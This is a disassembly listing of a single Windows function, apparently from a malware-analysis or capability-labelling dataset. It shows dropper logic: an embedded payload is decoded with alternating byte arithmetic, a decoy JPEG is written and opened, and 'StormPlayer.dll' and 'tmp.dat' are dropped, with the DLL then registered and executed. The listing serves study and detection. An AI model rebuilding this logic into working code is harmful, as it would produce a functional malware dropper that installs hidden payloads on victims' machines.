Function at 0x40180a
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x407600], eax
call fcn.00401698
mov dword [ebp - 0x63c], eax
mov byte [ebp - 0x740], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x73f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [str.b_y4_]
mov dword [ebp - 0x10], ecx
mov dx, word [0x407118]
mov word [ebp - 0xc], dx
mov al, byte [0x40711a]
mov byte [ebp - 0xa], al
mov ecx, dword [str._r74_]
mov dword [ebp - 0x11c], ecx
mov dx, word [0x407120]
mov word [ebp - 0x118], dx
mov al, byte [0x407122]
mov byte [ebp - 0x116], al
push 0x200000
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x854], eax
mov ecx, dword [ebp - 0x854]
mov dword [ebp - 0x748], ecx
mov edx, dword [ebp - 0x63c]
push edx
mov eax, dword [ebp - 0x748]
push eax
push 0x4074fc
call fcn.00401712
add esp, 0xc
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0
jne 0x4018eb
xor eax, eax
jmp 0x401c93
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x850], eax
push str.ShellExecuteA
mov ecx, dword [ebp - 0x850]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x528], eax
push 0
mov edx, dword [ebp - 0x530]
push edx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x748]
push ecx
call fcn.00401114
add esp, 0x10
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0xffffffff
jne 0x401946
xor eax, eax
jmp 0x401c93
mov edx, dword [ebp - 0x52c]
mov eax, dword [ebp - 0x748]
lea ecx, [eax + edx + 6]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x530]
sub edx, dword [ebp - 0x52c]
sub edx, 6
mov dword [ebp - 4], edx
mov byte [ebp - 0x520], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x51f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x114], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x638], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x637]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004010e0
push eax
movsx eax, byte [ebp - 0x740]
push eax
push str._c:Program_Files_tmp.dat
lea ecx, [ebp - 0x638]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
call fcn.004010e0
push eax
movsx edx, byte [ebp - 0x740]
push edx
push str._c:Program_Files_d.jpg
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 1
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.0040122b
add esp, 0x10
push 5
push 0
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0x407178
push 0
call dword [ebp - 0x528]
push 0
mov edx, dword [ebp - 0x530]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [ebp - 0x748]
push ecx
call fcn.00401114
add esp, 0x10
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0xffffffff
jne 0x401a64
xor eax, eax
jmp 0x401c93
call fcn.0040119f
test eax, eax
jne 0x401a77
mov eax, 1
jmp 0x401c93
mov dword [ebp - 0x524], 0xc00
mov edx, dword [ebp - 0x52c]
mov eax, dword [ebp - 0x748]
lea ecx, [eax + edx + 6]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x530]
sub edx, dword [ebp - 0x52c]
sub edx, 6
sub edx, dword [ebp - 0x524]
mov dword [ebp - 4], edx
mov dword [ebp - 0x534], 0
jmp 0x401ac7
mov eax, dword [ebp - 0x534]
add eax, 1
mov dword [ebp - 0x534], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x524]
cmp dword [ebp - 0x534], ecx
jae 0x401b0a
mov edx, dword [ebp - 0x534]
and edx, 0x80000001
jns 0x401aeb
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x401b08
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x534]
mov cl, byte [eax]
sub cl, 0xb
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x534]
mov byte [edx], cl
jmp 0x401ab8
mov dword [ebp - 0x534], 0
jmp 0x401b25
mov eax, dword [ebp - 0x534]
add eax, 1
mov dword [ebp - 0x534], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x524]
cmp dword [ebp - 0x534], ecx
jae 0x401b68
mov edx, dword [ebp - 0x534]
and edx, 0x80000001
jns 0x401b49
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
jne 0x401b66
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x534]
mov cl, byte [eax]
add cl, 0x2e
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x534]
mov byte [edx], cl
jmp 0x401b16
movsx eax, byte [ebp - 0x740]
push eax
push 0x407180
lea ecx, [ebp - 0x520]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.StormPlayer.dll
lea eax, [ebp - 0x520]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 2
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x520]
push eax
call fcn.0040122b
add esp, 0x10
test eax, eax
jne 0x401bcf
mov eax, 1
jmp 0x401c93
push 3
mov ecx, dword [ebp - 0x524]
push ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x638]
push eax
call fcn.0040122b
add esp, 0x10
test eax, eax
jne 0x401bfc
mov eax, 1
jmp 0x401c93
lea ecx, [ebp - 0x520]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x120], eax
push str.DllRegisterServer
mov edx, dword [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x744], eax
push 1
push 0
push 0
push 0
call dword [ebp - 0x744]
add esp, 0x10
mov byte [ebp - 0x84c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x84b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
movsx eax, byte [ebp - 0x740]
push eax
push str._c:Program_Files_
lea ecx, [ebp - 0x84c]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 5
push 0x4071e8
push str.polo
lea edx, [ebp - 0x84c]
push edx
push str.open
push 0
call dword [ebp - 0x528]
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret